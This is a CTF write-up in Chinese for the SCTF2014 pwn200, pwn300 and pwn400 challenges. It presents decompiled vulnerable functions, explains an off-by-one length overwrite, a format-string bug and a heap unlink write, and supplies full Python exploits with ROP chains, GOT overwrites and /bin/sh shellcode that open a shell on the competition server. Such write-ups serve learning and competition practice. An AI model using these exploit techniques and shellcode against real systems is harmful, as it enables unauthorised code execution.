PWN200
漏洞分析
1 2 3
| pwn200: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.26 RELRO STACK CANARY NX PIE RPATH RUNPATH FILE No RELRO No canary found NX enabled No PIE No RPATH No RUNPATH pwn200
|
只启用了NX 接下来分析程序,程序很简单
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| ssize\_t \_\_cdecl sub_80484AC() { ssize_t result; char v1; int buf; int v3; int v4; int v5; size_t n; n = 16; buf = 0; v3 = 0; v4 = 0; v5 = 0; memset(&v1, 0, 0x80u); write(1, "input name:", 12u); read(0, &buf, n + 1); if ( strlen((const char *)&buf) - 1 > 9 || strncmp("syclover", (const char *)&buf, 8u) ) { result = -1; } else { write(1, "input slogan:", 14u); read(0, &v1, n); result = write(1, &v1, n); } return result; }
|
程序在read到buf时多读了一个字符,导致溢出修改n的值,之后read到v1时导致溢出控制程序流程。
漏洞利用
第一步先写入”sycloverx00x00123456xef”,其中xef就是覆盖变量n的字节。 之后程序调用read(0, &v1, n);时就可以读入payload 因为NX,所以采用ROP链执行。 题目提供了glibc.so,所以思路是先读取plt中__libc_start_main的地址,通过提供的glibc.so获取到system和__libc_start_main的偏移差计算出system的位置。
0003f430 w DF .text 0000008d GLIBC_2.0 system
000193e0 g DF .text 000001c2 GLIBC_2.0 __libc_start_main
地址偏移为 0x26050 之后将其写入.plt中__libc_start_main的位置。最后通过执行.got中__libc_start_main并置入参数sh来执行system(“sh”)获得shell。 exploit如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67
| ''' SCTF2014 pwn200 exp yuf4n ''' from zio import * import struct write_got = l32(0x080483A0) read_got = l32(0x08048360) lib\_main\_got = l32(0x08048390) lib\_main\_plt = l32(0x0804985C) ppppr = l32(0x08048645) pppr = l32(0x08048646) ppr = l32(0x080485bf) \ io = zio(('218.2.197.248',10001),print_write=COLORED(REPR)) payload0 = '' payload0 += 'sycloverx00x00123456'+'xef' payload1 = '' \ \ payload1 += '1' * 0x9c \ payload1 += '2345' \ payload1 += write_got \ payload1 += pppr \ payload1 += l32(0x1) payload1 += lib\_main\_plt payload1 += l32(0x04) \ payload1 += read_got \ payload1 += pppr \ payload1 += l32(0x0) payload1 += lib\_main\_plt payload1 += l32(0x08) \ payload1 += lib\_main\_got payload1 += '1111' payload1 += l32(0x0804985C+0x4) \ io.read_until('input name:') io.write(payload0) io.read_until('input slogan:') io.write(payload1) buf = io.sock.recv(1024) lib\_main\_add = struct.unpack('<I',buf\[-4:\])\[0\] system\_add = lib\_main_add + 0x26050 print hex(lib\_main\_add) \ payload2 = l32(system_add) payload2 += 'shx00x00' io.write(payload2+'n') io.interact()
|
flag SCTF{SH3NG_4_KAN_DAN__BU_FU_9_GANN}
PWN300
1 2 3
| pwn300: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24 RELRO STACK CANARY NX PIE RPATH RUNPATH FILE No RELRO Canary found NX enabled No PIE No RPATH No RUNPATH pwn300
|
题目也提供了glibc,而且pwn200进去以后发现三题都在一个服务器上。所以目测利用方法应该相似。
漏洞分析
在第三个功能显示message发现一个格式化溢出漏洞
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| int \_\_cdecl fun3\_sub_80487FA() { int result; char dest; int v2; v2 = *MK\_FP(\_\_GS__, 20); strcpy(&dest, src); printf("Your message is:"); printf(src); result = *MK\_FP(\_\_GS__, 20) ^ v2; if ( *MK\_FP(\_\_GS__, 20) != v2 ) \_\_stack\_chk_fail(); return result; }
|
而且之前还很配合的把src的内容复制到栈里。。。这样就有机会对任意地址进行修改
漏洞利用
利用格式化溢出漏洞可以对内存读取写入,所以可以利用pwn200的利用方式:读取PLT中__libc_main_start的地址,通过libc.so计算system的地址写入程序之后可能会用到的函数的GOT 通过调试发现输入buf的起点位于printf调用的第七个变量 读取.plt __libc_main_start的payload ‘x28x91x04x08%7$sn’ 接下来找一个接下来可能调用到的函数修改其PLT为system函数的地址。这个函数最好可以把“sh”作为参数放进去。于是我选择了memset函数 他在第二个功能中被用到,而且正好把src当参数调用,这样我们通过留言功能让src为”sh”就能调用system(“sh”)了。
1 2 3 4 5 6
| int \_\_cdecl fun2\_sub_80487B6() { puts("input your message"); memset(src, 0, 0x400u); return readbuf\_sub\_804866D((int)src, 1024); }
|
下面是exploit,修改地址的时候利用了libformatstr库
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50
| ''' SCTF2014 pwn300 exploit yuf4n ''' from libformatstr import * from zio import * import struct \ io = zio(('218.2.197.248',10002),print_write=COLORED(REPR)) memset\_plt\_addr = 0x08049130 p = FormatStr() payload\_leak\_lib_main = 'x28x91x04x08%7$sn' \ io.read_until('your choice:') io.write('2n') io.read_until('your message') io.write(payload\_leak\_lib_main) io.read_until('your choice:') io.write('3n') io.read_until('message is:') buf = io.read(8) buf = buf\[-4:\] systemaddr = struct.unpack('<I',buf)\[0\] + 0x26050 print 'SYSADDR',hex(systemaddr) \ p\[memset\_plt\_addr\] = systemaddr payload = p.payload(7, start_len=0) + 'n' \ io.read_until('your choice:') io.write('2n') io.read_until('your message') io.write(payload) io.write('3n') \ io.read_until('your choice:') io.write('2n') io.read_until('message') io.write('shn') io.read_until('your choice:') io.write('2n') io.read_until('message') io.write('shn') io.interact()
|
flag SCTF{ZQzq2617}
PWN400
1 2 3
| pwn400: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.26 RELRO STACK CANARY NX PIE RPATH RUNPATH FILE No RELRO Canary found NX disabled No PIE No RPATH No RUNPATH pwn400
|
这个NX都没有。
漏洞分析
程序是一个类似便签的功能。 每个note是用malloc申请的,用双向链表链接起来,目测是某个同学的C语言小作业吧。。 3号功能可以显示note空间的的首地址。 在4号功能修改note的功能发现一个堆溢出的漏洞
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| int \_\_cdecl fun4\_sub_8048D09(int a1) { size_t v1; int result; int v3; char buf; int v5; v5 = *MK\_FP(\_\_GS__, 20); memset(&buf, 0, 0x400u); v3 = a1; if ( a1 ) { write(1, "note title:", 0xBu); read(0, &buf, 0x400u); while ( v3 ) { v1 = strlen(&buf); if ( !strncmp(&buf, (const char *)(v3 + 12), v1) ) break; v3 = *(_DWORD *)(v3 + 8); } write(1, "input content:", 0xEu); read(0, &buf, 0x400u); strcpy((char *)(v3 + 108), &buf); write(1, "succeed!", 8u); puts((const char *)(v3 + 108)); } else { write(1, "no notes", 8u); } result = *MK\_FP(\_\_GS__, 20) ^ v5; if ( *MK\_FP(\_\_GS__, 20) != v5 ) \_\_stack\_chk_fail(); return result; }
|
在5号功能删除note的功能发现一个类似dwrod shoot的漏洞
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53
| int \_\_cdecl sub\_8048E99(int a1) { int v1; int v2; int result; __int32 ptr; int buf; int v6; __int16 v7; int v8; v8 = *MK\_FP(\_\_GS__, 20); buf = 0; v6 = 0; v7 = 0; if ( *(_DWORD *)a1 ) { write(1, "note location:", 0xEu); read(0, &buf, 8u); ptr = strtol((const char *)&buf, 0, 16); if ( *(_DWORD *)ptr == ptr ) { if ( *(_DWORD *)a1 == ptr ) { *(\_DWORD *)a1 = *(\_DWORD *)(*(_DWORD *)a1 + 8); } else { if ( *(_DWORD *)(ptr + 8) ) { v1 = *(_DWORD *)(ptr + 8); v2 = *(_DWORD *)(ptr + 4); *(_DWORD *)(v2 + 8) = v1; *(_DWORD *)(v1 + 4) = v2; } else { *(\_DWORD *)(*(\_DWORD *)(ptr + 4) + 8) = 0; } } write(1, "succeed!nn", 0xAu); free((void *)ptr); } } else { write(1, "no notes", 8u); } result = *MK\_FP(\_\_GS__, 20) ^ v8; if ( *MK\_FP(\_\_GS__, 20) != v8 ) \_\_stack\_chk_fail(); return result; }
|
例如ptr = ¬e (note空间的基地址) 则可以进行 [ [ptr+4]+8 ] = [prt+8] [ [ptr+8]+4 ] = [ptr+4]
漏洞利用
思路是通过堆溢出漏洞可以覆盖到另外一个note的ptr+4 和 ptr+8。 之后利用这个dword shoot修改即将要调用的函数的plt到shellcode处。 shellcode前面要加一些nop,因为dword shoot的副作用会修改到shellcode。 具体操作:
- 新建3个note,我把shellcode放在第三个note的content里
- 查看他们的地址
- 溢出第一个note
- 删除第二个note,通过dword shoot修改write函数的plt为shellcode位置(有试过修改其他函数的,发现修改write可以成功。)
- 程序在dword shoot之后就有一个write调用,即进入shellcode
exploit如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78
| ''' SCTF2014 pwn400 exploit yuf4n ''' from zio import * import struct \ io = zio(('218.2.197.248',10003),print_write=COLORED(REPR)) exit_plt = 0x0804A46C free_plt =0x0804A450 write_plt =0x0804A478 shellcode = "x90"*16+"x31xc9xf7xe1xb0x0bx51x68x2fx2fx73x68x68x2fx62x69x6ex89xe3xcdx80" io.read_until('option--->>') io.write('1n') io.read_until('note title:') io.write('1n') io.read_until('note type:') io.write('1n') io.read_until('note content:') io.write('1n') io.read_until('option--->>') io.write('1n') io.read_until('note title:') io.write('2n') io.read_until('note type:') io.write('2n') io.read_until('note content:') io.write('2n') io.read_until('option--->>') io.write('1n') io.read_until('note title:') io.write('3n') io.read_until('note type:') io.write('3n') io.read_until('note content:') io.write(shellcode+'n') io.read_until('option--->>') io.write('3n') io.read_until('note title:') io.write('3n') buf = io.read_until('option--->>') addr_3 = buf\[buf.find('location:0x')+len('location:0x'):buf.find('location:0x')+len('location:0x')+8\] io.write('3n') io.read_until('note title:') io.write('2n') buf = io.read_until('option--->>') addr_2 = buf\[buf.find('location:0x')+len('location:0x'):buf.find('location:0x')+len('location:0x')+8\] payload = '1'*0x100 payload += '2222' \ payload += l32(int(addr_2,16)) \ payload += l32(write_plt-0x8) \ payload += l32(int(addr_3,16)+108) payload += 'efghijklmn' io.write('4n') io.read_until('title:') io.write('1n') io.read_until('content:') io.write(payload+'n') io.read_until('option--->>') io.write('5n') \ io.read_until('location:') io.write(addr_2+'n') io.interact()
|
flag SCTF{2318540E78446A0E84EF69685092F0C3}
Comment and share